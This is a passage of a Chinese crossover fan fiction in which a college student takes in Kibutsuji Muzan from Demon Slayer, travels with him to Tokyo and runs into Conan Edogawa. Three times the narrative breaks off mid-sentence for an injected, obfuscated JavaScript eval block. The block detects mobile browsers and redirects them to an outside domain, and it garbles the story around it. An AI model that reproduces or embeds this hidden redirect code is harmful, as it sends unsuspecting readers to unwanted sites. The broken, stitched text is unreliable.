《【鬼灭/综漫】和无惨一起快穿是什么体验》 1. 第 1 章 我是一个普通的大学生。 我又一次对自己默念,在阳台落地窗破了个大洞,家里多出一个人的时候,我努力说服自己,这种情况我一个大学生能做到什么呢? 那人身着做工精细的西服,领子上还绣着佩斯利纹的图案,微卷的短发梳成中分,在脸颊两边垂下几缕。他抬起头来看向我,红梅色的眼中是细长的瞳孔。 好崩溃。 早知道今天晚上就不熬夜了吧,为了赶游戏赛季最后一天冲个保底奖励所以打游戏打到凌晨,关上电脑准备睡觉的时候听见外面的巨响,随后就是这幅场景了。我心说如果自己早点睡的话或许也不会被来者标记上敌意。 我小心翼翼地瞄了一眼他的面孔,又移开视线。 更崩溃了。 这不就是鬼舞辻无惨嘛! 我只是个普通的大学生,怎么会遇到这种除了穿越其他都无法解释的事情……好绝望的开局啊,他看我的眼神完全是看蚂蚁的感觉,下一秒就会来掐死我吧。 虽然那样也不错……不不不,至少我还是得知道发生了什么吧,一个虚拟角色莫名其妙地给我家阳台落地窗创了个洞,然后站在这边,我还是得知道他到底如何来的吧。 “你、您好……”我木讷地开口打招呼,心里只觉得麻麻的,感觉自己快入土了,“请问您是,嗯……是鬼舞辻无惨先生吗?” 嗨呀,没事的,大不了就是一死,不如直截了当喊出他的名字来得便利。 和预料中的一样,在听见他名字的几个发音从我口中说出时,他眼中闪过一丝犹疑,随后是比刚才更不悦的神色,在我反应过来之前,脖子便被他用力掐住,整个人都被提了起来。 太好了,没有一下就死掉。 他看起来有很多问题想问我,其实我也有很多问题想要问他,但我现在几乎完全无法说话,只能看着他开口:“说出你的目的,我可以让你死得不那么痛苦。” “我……”脚下悬空的感觉让我下意识扒住他的手臂,指尖触碰到他的手掌,传来一阵冷意。果然他是货真价实的鬼舞辻无惨本尊吧,完完全全的鬼之始祖,只是不知为何他来到了现实……从那部少年漫里。 我该怎么和他交流啊!我说的话他能信多少,之后又该怎么安置他,如果他要进食要吃人我该怎么做,这些都完全没有头绪啊! 要不哥们你还是杀了我吧,我自暴自弃地想道。 “我也不知道你为什么会在这里……我知道你的名字是因为那个,那个!”我吃力地指指旁边书架上的漫画单行本,正好是他作封面的那本,“那部作品讲了你的故事,我又正好看了,所以……” 鬼舞辻无惨松开手,我摔在地上。 我看着他走向旁边翻阅起漫画,从地上爬起揉揉摔痛的屁股,小心翼翼地走近他一些想看看他的反应。 托住漫画书本的手掌平稳得看不出端倪,他沉默着没有说话,但从他后脖上也能看见几根青筋突起,似乎是不太高兴的样子。 “那个……虽然有点冒昧,但是如果可以的话请不要破坏这本书……”我稍稍探出去些身子慢慢地说道,在他身边的低气压中我的声音也渐小下去。 可是我真的不想自己的漫画被他一怒之下撕掉啊,毕竟是挺宝贝的一个,而且封面也是他…… 再怎么说我也算是他的角色厨啦,尽管面对正主的时候有些紧张,那也是因为他到底是个以人为食的人外生物,而且上来就传递出超强的不悦情绪,不害怕是不可能的。 他的目光扫过来,我缩了缩脖子,有些无辜地继续道:“因为封面是你,里面的内容也有很多你的……就是我挺喜欢你的,嗯,说出来真是不好意思,但请你相信我不会做对你不利的事情。” 我又指了指旁边放手办和立牌的架子,示意他自己说的喜欢他是真的。 鬼舞辻无惨还是放过了我的漫画,将书本一合丢给我,顺着我的手指看向那边。 我从他脸上看见了嫌恶,一种一言难尽的表情,最终他只瞥了我一眼,简短地评价道:“真恶心。” 哪里恶心了!不就是放着不同形态的他的景品手办还有各种正比的Q版的立牌和一些娃娃什么的,他在给下弦开会的时候听了魇梦那一通还龙颜大悦说“我看中你了”,怎么看见我的周边就要骂我恶心! 不过话说回来,他是不是已经理解并接受了自己是一部少年漫中的角色这个设定? 我从他脸上看不出明显的表情变化。 话说鬼舞辻无惨,是从原作的哪个阶段来的?他身上这套看着像浅草初登场那会穿的,但那本漫画单行本的剧情已经发展到了决战、并且还是他逐渐落入下风的时候,他似乎没有表现出很惊讶的模样。 他会不会是重生的?然后顺便穿了个越? “那本绘本,其他的在哪里?”我听见他叫了我。 我有些抱歉地看他:“我只买了这一本,因为只有这本的封面是你。” 这话若是其他人听见了指定得多追问一些,但鬼舞辻无惨倒是完全没在意的样子,虽然当着他的面告诉他我喜欢这事我还挺不好意思的。 或许他只是觉得我传递给他的,代表喜欢的信息,实在是无足轻重,我想。 “我手机上有全部的,你想看的话我可以给你……咦?我鬼灭呢……”当我想到现代信息时代看漫画早已普及电子版,拿出手机想打开软件的时候,没有任何关于《鬼灭之刃》的内容了。 我下载的漫画,保存的图片,全部都找不到了,聊天软件搜索关键词也不再跳出任何关联信息。仿佛只是在某一个瞬间,这个世界的认知都发生了改变,而唯独我记得原本的样子。 这一切都是因为站在我面前的他吗?鬼舞辻无惨,正狐疑地看我捯饬手机,他的目光紧盯住这块发光的方砖。 “有点意外,不过我记得故事的所有内容,如果你有什么想知道的话,可以直接问我。”我有些尴尬地将手机收回口袋,看着他思索的模样接着说道,“现在是21世纪,用日本年号的说法是令和,距离大正过去了一百多年。这个手机如果你需要的话,嗯……我给你买个新的吧。” 我的生活开销不算大,除了吃饭游戏就是买周边了,平时偶尔还能接点代练或者大学校园内常见的代取快递和代跑健康跑来赚些小钱,存款倒也是有点,给他买个便宜手机也能做到就是了。 虽然还是好心疼啊,这点钱可以拿去吃多少谷子啊…… 架子上的手办和娃娃原模原样地待在那里,或许因为是在我视线范围内的实物,它们还没有消失。 脖子上被他尖锐的指尖划破了表皮,微微的刺痛提醒我自己没有在做梦。 心中突然涌起浓浓的死意。 “你知道所有的事情?”鬼舞辻无惨接着我的话反过来问我,“所有的信息,包括,青色彼岸花?” 好吧,我知道了他现在毫无疑问是重生来这的,而且这重生并没有让他克服阳光。 我措着辞思考怎样说这话不至于踩到他的雷区:“有听说过一点吧,好像是继国缘一妻子的墓附近,而且每年只有很短的花期,还开在白天。” 他毕生的所求,被作者放在与最痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679133|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恨的人相关的地方,设定成这样的开花习性,唾手可得却又遥不可及……想到这里我也有点微妙地不太高兴了。 他果然被这个情报搞沉默了。 但没有预想中那样发怒,他似乎在忍耐着什么,然后继续问我:“你知道怎样找到那里?” “……很遗憾,我并不知道。”漫画里况且没提到灶门家在哪个县哪座山见过的青色彼岸花,距离大正时代百年后的今天,城镇发展都不知道过了几轮了,没可能找到的。 更何况我也无法确定现实中那个花是否存在。 我仍是看着他在忍耐什么的模样,犹豫半天还是直接出声问他:“我……可以问问你吗,你在来这里之前,大概是一个什么状态?” “你不是很了解那个作品吗,还要问我做什么。”他有些没好气地丢回来一句。 “我只是有些好奇,你没有杀我,而且还向我了解这些事情。”我耸耸肩,将心中的困惑说出来,“我的意思是,你表现得比我想象中的要温和一些。” 要陌生一些。 似乎太好相处了。 我话音刚落,一种被凝视的感觉突然席卷全身。 循着这种感觉的来源看过去,鬼舞辻无惨正皱眉死死盯住我,仿佛锁定猎物的蛇蟒,眸中是压抑着的怒意和烦躁。 他缓步向我走近,我下意识后退两步,但在意识到若他真的要杀我我也无路可逃之后,还是选择了站在原地等他站定在我跟前。 我抬头看向他的双眼,那双红眸中映出我不安的面孔。 “你在擅自揣测什么?”低沉的声音让我不禁打了个寒颤,“自大也要有个限度吧,你以为自己很了解我?就凭你那样微不足道又令人作呕的‘喜欢’?” 他俯视着我,但,仍然没有直接动手。 明明冒犯过他的路人都变成一滩烂肉了。 我移开了目光,垂眸不再看他:“我只是在想……抱歉,我确实不该自作主张揣度你的想法,我只是以为你会直接杀死我,或是将我变成鬼。” 对啊,在这个不属于他的世界,他没有把我变成鬼增加手头的工具,更没有图方便直接挖了我的脑子读取细胞记忆。 “我的意思是,如果你想做什么,或是想让我做什么的话,请随意。”我重新抬眸看向他,双手背在身后,抿起唇等待他的反应。 我着实好奇,他当下的计划和目标都是什么。 但他还是什么都没告诉我,只是盯了我许久之后,转身去看我书架上其他书籍册封上的标题,那令人恐惧的压迫感也减小了许多。 是因为我作为他在这里遇到的第一个人,于他而言还有作用,甚至是他计划实行所需的某个环节的棋子,所以我暂时能活着,作为人类。 我得出了这个结论。 也不错,至少在自己喜欢的人眼里是有些价值的,想到这里,我甚至莫名有些高兴起来。鬼舞辻无惨背对着我浏览书架上那堆随意摆放的小说漫画,还有些工具书,完全没有理会我的打算。 这也是正常的,一个没有任何威胁的人类,他不放在眼里才是理所应当的。 我认命地重新拿出手机,打开购物软件下单了新手机,又搜了几本医学和生物学专业教材加进购物车。 本着努力增加信任的想法,我还是喊了他一次,和他说:“我去给你收一间空房间出来,有事可以叫我。” 我告诉他自己的名字是白夜。“但你要是有自己的想法,就按你想的来叫就行。”我说。 我微笑一下,抬腿走向被我当作储藏室的那个空房间。 2. 第 2 章 快递送上门,我买的新手机到了。 本着反正鬼舞辻无惨也不了解通讯科技的发展速度,我给他买了个便宜些的,机型也不算很新,给自己省点钱。 其实他应该也不会是总喜欢玩手机的那种人,只是如果要了解现代社会的信息,还是用手机最方便。 我给新手机连上充电线,配置好系统,看着那一片推荐安装的app图标,突然萌生出了给他下载一个绿色猫头鹰的歹毒想法。 于是我这么做了,并且第一时间给他介绍了这款软件,他看上去对我如此了解他闲时兴趣这一点有些不悦,但显然兴趣战胜了他对我的不爽。 所以他究竟在忍耐什么? 好奇怪啊,鬼舞辻无惨有那么多机会杀死我,鬼吃人甚至可以不留痕迹,即便是现代社会,他也不用怕什么吧。 或许是我脑子出了问题?我同人入脑了,觉得他应该是冷酷无情杀人魔那挂的,但其实他并不是那样……不,还是不对,他凭什么忍着我啊? 我稍微观察了他几天,不得不说就像公式书里表现的那样,他对新事物的接受度很好,现代科技设备只要稍微和他讲过,他马上就能流畅使用,几天下来,他甚至把百年间人类历史的发展都了解完了。 令人羡慕的学习能力,若是我考试能这样我也不至于每次期末周那么痛苦。 “鬼舞辻无惨,”最终我觉得反复思考也想不出答案,他也注意到我总是动不动就盯着他看,于是我干脆直接问他本人,“你是在提防什么吗?” 他正在看早上刚送来的医学史,听见我的话后合上书本,目不斜视地看着前方,说:“你究竟在一个人自说自话地臆想着什么,我都快要搞不懂了,你的脑子里还能有点正常的东西吗?” 诶,舒服了。 不对,他没回答我关键信息啊! “就是因为觉得,如果不是有什么你需要防备的存在,你不可能忍我这么久吧。我猜的,抱歉又在擅自揣测你的想法了,但我想不明白为什么你不把一个弱小又碍事的人类除掉。”我知道这话听起来很怪,但反正他应该能听懂我的意思。 其实我只是需要知道,他在原先作品剧情结束,到来这里之前,这段时间内他究竟遇到了什么。我上来就先手戳穿了他的身份,他不想花心思对我演什么无辜穿越者的戏码也是合理,但我总觉得他本该是更…… 更自我一些。 他好像本该在我表现出对他有些冒犯的了解和喜欢时回应一些狠毒的斥责,或是不致死但足够令人恐惧的惩戒;若他对我的存在毫不在意,也该在我与他交流时直接无视我。他本该有比现在更合理的行为表现,现在的鬼舞辻无惨,只是微妙地在为什么事做准备的样子。 或许我还是对他了解不够,才会这样想吧,而且这也本就是他的事情,若他仍是拒绝告诉我缘由的话,我就不再问他了,我是这么打算的。 “提前道歉也改变不了你自大又愚蠢的事实,那么想死现在打开窗户跳下去不就行了?对你这么恶心的人动手我还觉得脏手。”他终于看向我,眼中满是不耐烦,他将书本放在一边站起身准备回房间。 我出声叫住他:“因为希望你能高兴一点?虽然这个理由也挺怪的,但是如果有什么事情让你困扰的话,告诉我我或许可以帮上点忙。” “帮忙?说得倒是轻松,你又能做到什么?”他回过头不屑地嗤笑,“你最能让我高兴的事情就是滚远点,或者干脆安静地去死。” 好吧,他不愿意告诉我。 我不会再问他了,我想,车到山前必有路,若真有什么事,他既然决定自己做准备,那必然是有较大把握的,我也没有插手的必要。 先相信,再相信。 他有能力应对好一切的,这我自然相信他。 “嗯,我很抱歉在这个话题上冒犯了你这么久,之后我不问了。”我走过他,站到他前面,待他转回头来时我把手机搜索页面出示给他看,“书店,可以邀请你晚上一起去逛逛吗?” 我当然做好了被拒绝的准备,想着若是他拒绝我我就一个人去吃商场里那家昂贵的自助餐,作为对自己努力尝试良好沟通的奖励。 出乎意料的是,他答应了。 太阳下山后城市的霓虹逐渐亮起,将夜空照得如白昼一般。商业区人来人往,身边偶尔路过一两个玩考斯普雷的二次元叽叽喳喳地聊天逛街。 鬼舞辻无惨那一身西服正经得太像某种上班族了,虽然他没什么班味,但我还是发给了他几张休闲日常的男装照片给他,他很快就给自己整了一身更现代的。 好方便啊,鬼的拟态,看得实在有些羡慕。 在我把一杯奶茶递给他的时候,他双手抱胸冷哼一声:“你总不会不知道,鬼不吃人类的食物吧。” “嗯,但是我想把自己喜欢的东西分享给喜欢的人,所以就买了。”我递出奶茶的手也没收回去,就架在那里,“拿着吧,就当是伪装人类的一部分。” “我不需要你的喜欢,也没心情陪你玩角色扮演游戏。”他还是拿过奶茶,旋转着杯子观察着其中液体和小料。 我咬着吸管喝了一口自己手中的那杯,看着旁边的人来人往,又看回他:“那就不用管好了,喜欢不一定要得到回应、也不用征求同意吧,就当没这回事就好了,你什么都不用做。” 虽然不知这话到他耳中是否又像是命令他,亦或是将他放在他厌恶的低位,但我只是想告诉他一些普通的信息——我喜欢鬼舞辻无惨这个事实并不会因为他的意见改变,也不需要他做何回应。 对我来说无论是原先他是那个纸片的时候,还是现在他莫名穿越到了这边,我都并不觉得有太大区别。喜欢的正主到了自己面前,个人独处的时候偷偷激动完了,再与他面对面交流的时候也就还是那个样。 他没再回我的话,走进书店在科普工具书的书架那边站着,一本本册封看过去,偶尔拿出来一本翻阅一下。 我为了印证自己的猜测,找到了漫画书架,在初步搜寻无果后我又摸到了书店搜索电脑那边,输入书名,还是没有任何结果。 果然是某种认知被改变了,但那样的话我又算是什么呢? 想不明白,懒得去想了。 至少没有忘记鬼舞辻无惨应该是一件好事,如果平白无故丢掉一样喜欢的事物,即便认知不再理解,也难免会觉得心中空落落的吧。 收银台那边,我拿着一本科幻小说改编电影的画集,鬼使神差地和他说:“其实我觉得很奇怪,鬼怕日光,但是月光却不会造成伤害。” “你想说什么?”他什么都没有拿,或许是书店里畅销的书目并没能让他感兴趣。 “月亮不会发光,月光是反射出来的日光。”我歪歪头,不用说下去他也能明白我想说的是什么了。 当然,跟热血少年漫讲科学逻辑是没道理的。 我继续说:“如果有一天太阳上的火燃尽熄灭,太阳不再发光,你会希望发生那种事吗?” “那并不能改变鬼的弱点是阳光的事实,而且听着不像什么好事。” “嗯,恒星死亡后会膨胀,吞噬星系里的其他星球。”我将结完账的画集放进背包,“但是如果呢,如果真的有那一天,你觉得人类会怎样做?” “怨天尤人、抱头鼠窜,埋怨为何自己遭受如此不公的命运。”他不假思索道。 我扔掉手中的空瓶,目光望向远方,低声说:“嗯,但也有一部分人会站出来,制定文明延续的计划并执行。” “所以,你想说什么?” “就是你看,人类最伟大的地方是敢于直面、并对抗天灾的勇气,而同样,人类最卑劣的地方是不到最后一刻绝不会认真合作,最擅长内斗的就是人类。” 鬼舞辻无惨站在原地,一副若有所思的样子,但那张平静的面孔下应该也压着些许不耐,我长篇大论的中心论点至今没有提出来,他或许已经对我冗长而故作通透的发言感到厌烦了。 我直接往下说了下去:“如果你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679134|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将鬼杀队对禁刀令阳奉阴违,私自组建大规模军队的舆论散播出去,他们早就被人类自己的势力解决了,用不着你出手。” 如果他真正见过人类至今跨过的每一个重要历史节点,就会知道所谓人类意志的本质应该在于为文明存续所做的努力,而不只是那种虚无又荒诞的……武士道精神。 但是我无法把后半句与他说,那样的话也太不懂礼貌了,而且我仍是希望,至少他本人现在的想法并不是漫画最后令人难以接受的那样。 我没有等他回答,商场的大门就在前方,我快步走向前出了商场。今夜月明星稀,圆月高挂在空中,稍稍抬头就能看见。 “是满月。”我说,看着鬼舞辻无惨毫无波澜地走出来,“我还是难以理解,你站在月光下分明就没有事,但月光也明明是日光的反射。” “差不多够了吧,在意这些事情有用吗?不能解决问题的话,就是浪费时间。”他的忍耐似乎快到极限了,对我拉着他出来到如此喧闹的地方,又自顾自说了一大堆话感到不满。大概如果我再不闭嘴回家的话,他会偷偷把我灭口也说不定。 “人类生命如此短暂渺小,追寻天上的日月又有何意义?” 我看着他笑了出来,挥挥手说:“正因生命短暂,天空之外的世界才更显得浪漫。既然有无限的时间,去看看更有意思的东西不是挺好吗?多少人羡慕不来呢。” 鬼舞辻无惨似乎被我气笑了。 “我花了千年寻找青色彼岸花,都没有得到结果,你以为我会有闲心去做别的事情?” “嗯,也对。”脑海中突然想到,不如之后想办法带他去日本吧,找找看青色彼岸花是否真的也能在现代的现实世界存在。 不过话说回来他到底是无证的黑户啊,这怎么给他买机票,他又不可能变成什么东西躲在箱子里,更别说这种方法会马上被安检识破。 算了要不别去了。 “但我还是喜欢星星。” “什么?” “我说,比起太阳或月亮,我更喜欢星星。”我看着他也将手中没动过的奶茶扔进垃圾桶,抬头看眼被城市光污染的夜空中为数不多的几点星光,“相隔更加遥远的星星,没有日月那么重要的意义,但它们就是在那里,无论发生什么,都只是……发着光。” 我低下头继续走路,他扫了一眼夜空,显然那并不能让他感到有趣。 “其实星星的光来自于几万光年外,也就是几万年前的光,时至今日,星星本身是否还在发光,就要再等几万年才能知道了。”夜逐渐深了,街边的人也少了很多,我和他走在路上。 说来也奇怪,分明身边这个鬼王比谁都危险,但我的潜意识中并没有特别害怕他。 或许是知道他不会选择当街杀人暴露自己的存在,又或许只是不打算防备他,只是心中已经想过了他会做的事并提前判断好了自己什么结果都能接受。 他说得对,我脑子有问题。 “我只是很喜欢星星,因为星星就在那安静地发着光,哪怕是万年前就已经消逝,但一点点星光只要能在某个地方被人看见一眼,大概就已经很幸福了。” “你总是喜欢这样,自说自话揣测别人、或是任何东西的想法吗?”他轻笑一声,“真蠢。” 方才我看星星的时候站在了原地,不知不觉离他有了些距离。我快步赶上他,走到他前面去,又回过头来看他:“我只对喜欢的人和东西这样的。” 我听见他叹了口气。 倒不是真的要反复强调来烦他,或是抱着不切实际的想法,觉得自己说多了他就能改变心意给出点什么回应。我只是告诉了他一些本来如此的事,包括我本就喜欢他,他也本就无需做出任何回应。 只不过他应该仍不太相信我。 也没关系,反正碍不着我继续喜欢。 我整个人转回身站定,正面向鬼舞辻无惨,后者疑惑于我又打算做什么。 “去日本找青色彼岸花吧,我和你一起。” 3. 第 3 章 虽说是决定要去日本了,但,到底该怎么做呢? 我没有任何能帮鬼舞辻无惨弄到证件的手段,更不可能偷渡去日本,硬要说的话也不是没有办法,但是…… 让我一个人乘正规交通工具,他自己想办法渡海吗?这也太抽象了,我不可能这么和他说的。 他本人似乎也只把我那天晚上和他说的当作头脑发热讲的胡话,几天下来高强度征用我的电脑查资料视频,偶尔拿回到我自己手上时我能从搜索引擎的记录里看到他的名字。 我也顺着搜索记录点了进去,没有任何结果,除了一些现实中无惨绘的文章,没有任何《鬼灭之刃》的关联信息。 “我想……我想打永劫无间……”我偷偷扒在电竞椅后面,向实在太闲开始看法医解剖学的鬼舞辻无惨申请使用电脑。 他驳回了我的申请。 哈哈真是的,不知道的还以为他是来帮我戒网瘾的呢。 白天在家里为了减少阳光照射,所有窗户都拉上了窗帘,即便作为现代人习惯了在黑暗的环境中观看电子设备,连续几天下来眼睛还是多多少少有些吃不消。 人类果然还是需要阳光啊,我不禁默默感叹,想了想最后决定出门转一圈。 “我出去一下,买点零食。”我在门口喊了他一句,抓起钥匙下了楼。 转了一圈也没真的买什么东西,站在货架前一眼扫过去又觉得什么都不想要了,最后只是享受了一下室外的光和热,在现充能量耗尽之前走回了自家楼下。 开门上楼之前,我瞥见收信箱里似乎有什么东西。 我平时可没有订杂志的习惯,从收信箱细长的入口处能隐约看见里面似乎是一个信封,但我想不到有什么人会给我寄信。 哪位朋友出去旅游寄回来的当地明信片?不对,那样的话信封应该更有特色吧,这似乎只是最普通的白色信封。 我从钥匙圈里找了半天信箱钥匙,拿出信封。 回到家后鬼舞辻无惨还在房间用着电脑,我从买的零食里拿了根棒棒糖拆开,咬着糖拆了信封。 一张邀请函,两张机票,目的地是日本东京。 啊? 机票上的名字是……我去,月彦。 合着是给鬼舞辻无惨的。 不对啊,谁给他寄的机票啊! 另一张是我的,又是谁给我寄的啊? 我有些忐忑地斩开邀请函,上面只写了简短的寒暄语: “我司的新款游戏产品「茧」顺利开发完成,现进入测试阶段,诚邀您前来体验。” 什么东西啊…… 我碰到了放在一旁的信封,信封掉到地上发出声响,这绝非空信封会有的重量。我重新捡起来后打开信封倒了倒,两枚徽章掉进我的手心。 “佩戴徽章以参加游戏体验。” 不知道哪个游戏的内测,为什么这么唐突找上我?而且居然连鬼舞辻无惨的存在都知道,想想还挺吓人的。 我翻到信封的正面,找不到任何寄信人的线索,机票上的名字和身份信息又精准无误地对应上。怪,实在是怪。 方才听见掉落声的鬼舞辻无惨从房间内走出来问我在做什么,我将他的那张机票递给他:“好消息是真的可以去日本了,坏消息是……我想不到任何一种可能知道你的存在,甚至知道你伪装人类的曾用名的存在。” “那么,直接去不就好了?”他对着机票上的假名皱了皱眉,“即便有人在谋划着什么,也不值得担心吧,我不认为这个世界还有什么能威胁到我。” 要说有的话也是有的吧……我移开视线想了想军事频道看过的一些内容,最后决定还是不要在这个方向发散思维了。 话说回来,「茧」这个名字总觉得很熟悉,像是在哪里听过。邀请函没有说明任何游戏形式和主题,我也不记得自己报名过什么游戏内测,更何况受邀人员还有个鬼舞辻无惨……总觉得事情的发展要向着一些无法控制的方向去了。 “我总感觉自己忘记了什么,但又想不起来。”我将他的那个徽章也给了他,从储藏室拉了行李箱出来,“不过算了,你说得对,不能因为担忧就什么都不做了,我就当是你给我的机会允许我和你一起旅行吧。” 寄信人还想得挺周到的,这是我坐上飞机后的感想,特地安排了晚上的航班,到达之后只要在日出前找到住的地方就行了。 于是我站在邀请函上参会地址附近的酒店犯愁。 “你知道吗,从任何道理上来讲我都应该要两间房,但是你又不用睡觉,我总觉得挺亏的。”我用真诚的眼神看着鬼舞辻无惨,尽管他大概也想安静地呆着,因为我确实挺吵的,但我真的觉得,好冤种啊。 毕竟邀请函只给了机票,并没有承担住宿的费用,我本身也不是大富大贵之人,前两天还刚给他买了部新手机。 “所以呢?” “所以我还在犹豫要不要多花那一间房间的钱。”我真的是在向他征求意见。 他忍着不耐笑了笑,对我说:“我有个方法,不需要用到房间,我自己出去看看百年后的日本变成什么样了,正好解决我一顿饭。” 好像有道理,是挺可行的……等等解决什么? “我……觉得还是不要吧,可以请你不要离开我的视线吗?出去伤害别人不太好呢。” 主要是现代日本了,就算日本警察再没用,东京都这种大城市的路上也有监控,他吃个人被拍到就有些麻烦了。 到那个时候作为同行者的我也必然会在行动轨迹追溯里被找到,然后被调查询问,我不觉得被追击的时候鬼舞辻无惨会好心带我一起跑路。 “那你的意思是你来成为食物?”他挑眉反问。 我有些语塞,沉默半晌后小声问他:“如果帮你找到青色彼岸花,事成之后能不能给我个十二鬼月当着玩玩?” 现在轮到他沉默了。 我最终还是选择了两间房间,办理完手续后我把房卡给他。 “我在隔壁,有事叫我,电脑你要用的话你先拿过去好了。”我把电脑包从箱子里拿出来一起给他,拖着箱子往电梯那边走。 身后没有跟来脚步声,我有些疑惑地回头想看他在做什么。 “白夜。”他第一次正儿八经地喊我名字,听得我愣了愣神,大脑宕机了一秒,“人不会毫无目的地对他人示好,告诉我,你想得到什么?” “我说过了,就是喜欢,没什么特别的。”我按下电梯按钮,余光盯着显示屏逐渐减少的数字。 鬼舞辻无惨向这边走近几步,目不斜视地看着我:“‘喜欢’也往往伴随着利益,别再无意义地重复那个词了,简直令人作呕。” 电梯慢慢停在一楼,里面的人走出来,我将箱子推进去,自己站在门边。 “如果你真的需要一个回答的话,那么,鬼舞辻无惨,你,我想要得到的是你本人,这样行吗?”我确实有点不想和他重复这个话题了,虽然他的性子我早就了解,这不至于消耗我对他的好感,但反复被怀疑,是个人都不喜欢,“你可以理解成我喜欢看主播、给主播打赏、不需要什么实质性的回馈,同样的。” 我看着他陷入沉思的样子,想起来主播这个职业对他来说还是有些太过超前。 “歌舞伎、落语家、能剧演员,甚至花魁,差不多吧。粉丝如何喜欢艺术表演者,我就是如何喜欢你的,如果真的要有什么回馈的话,情绪价值就是最好的回馈,多和我说说话、让我多看看你。” 就是这么简单的道理。 多说话大概是不太可能,让我多看几眼的话,其实我能感觉到他一直都在忍着我过于明目张胆的注视。那么其实他早就把我想要的情绪价值都给我了,我还能说什么呢? 他又不可能真的像偶像那样搞什么饭撒或者拍切,而且真那么做了我也会被吓到……所以他能不能别再纠结这事了?在正主面前说喜欢说多了也很羞耻啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679135|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “反正房间给你了,不用被我烦着,挺好。”我站进电梯里,按了楼层后手指停在关门键上,“那么,我先上去?楼层和房号那张房卡上都有写,我们明晚再见。” “不用。”他在电梯关门之前抬腿跨了进来,电梯随后合上了门。 电梯内的空间有些狭小,鬼舞辻无惨不太喜欢说话,我也没找话题烦他,想掏出手机搜搜看有没有明晚那个游戏的新闻,却发现电梯内没有信号。 叹口气收起手机,却听见身旁的千年老鬼主动开口:“明知鬼对人类来说是什么样的存在,你却一点都不害怕,反倒大言不惭地和我谈喜欢,果然是脑子有问题。” 我抬头看了一眼电梯顶上,没有装监控,换句话说他若是在这里将我吃掉的话,大概不会留下任何痕迹。等他人发现端倪前来调查时,他早就全身而退了。 哦,密室杀人,也不对,只是在密室里和一个将我视作食物的天敌独处几秒,不过说实话我又没有幽闭恐惧症,所以其实没什么感想,毕竟前段时间都那么相处过来了。 而且恰好对方是我喜欢的,某个角色。 “因为觉得你一直在忍着什么,并且很宽容地把我也纳入了这个范围,那既然都忍这么久了,也不差这一两天,所以我就不怕咯。”我在电梯开门的时候轻笑着对他说,“如果哪天你不用忍着我了,打算动手的话,可以告诉我一下吗?我有个准备也好。” 我没打算等他的回答,先拉着箱子出了电梯。 不用听也知道,他是会同意的。 时间过得很快,第二日的白天我也没什么事好做,干脆躺在酒店划手机。期间我有给鬼舞辻无惨发过消息,问他能否把电脑给我玩会游戏,但手机上永远是已读不回。 气死了,早知道不把电脑给他了。 到了夜晚,我在房间门口等到了他。 我在心底感叹了一下佩斯利纹果然是最适合他的,看了眼邀请函上给的地址,似乎是在哪个市政厅。 真奇怪啊,什么游戏在市政厅发布。 会场内熙熙攘攘,一路走过去,我把偷听到的内容告诉了鬼舞辻无惨:“银行家、政治家、甚至还有警视副总监,真是好多人啊。” “都是人类社会的达官显贵,那么问题就来了,”他听完后打量着那些人,目光最终落在我身上,“你为什么会被邀请?” 好问题,我当然不知道。 “我还是觉得哪里怪怪的,说不上来啊。” 我和他走在会场内,身边都是各种身着华贵礼服的人。 耳边传来小孩子说话的声音,像是故意说给什么人听的一样还拔高了声音。 “听好了,人在一出生的时候就已经决定了他的一生。” “就是就是,漂亮的衣服也会挑选穿它的人啊。” “没被选上的人,就在一旁羡慕地流着口水含着手指看就行了。” 给我听绷不住了真是。 “无惨大人,”我有些阴阳怪气地喊了他,这声音我都能听见,他肯定也听见了,“你饿不饿,要不吃俩小孩?” 他瞪了我一眼,没有接话。 我本想再说些什么,可接下来那边的一道声音又传入我耳中。 说话人声音不大,但不知为何我无比清晰地听见了每一个发音。 “一想到那些小孩就要继承父母的事业,成为日后的日本领导者,未来可真是令人绝望啊。” 鬼舞辻无惨本来想走去会场外清净点的地方等发布开始,发现我停下脚步后回头看我。 我怔怔地看着他,说不出话来,抬手想比划什么,又不知如何解释。 心中不好的预感似乎应验了。 这声音太熟悉了,不用细想都能分辨出来,可是,不至于吧? 抱着最后一点祈求,我回过头看向声音来源。 映入眼帘的结果让我一时间真的有些崩溃。 江户川柯南。 4. 第 4 章 “鬼舞辻无惨,我想跑路了。”我努力不让自己出现在那个孩子的视野内,转身赶上鬼舞辻无惨拉住他的袖子,双手颤抖着压低声音说。 他露出困惑的神色,还带有一些不屑:“你究竟想怎样?接受邀请来到这里,现在告诉我,你害怕了?” 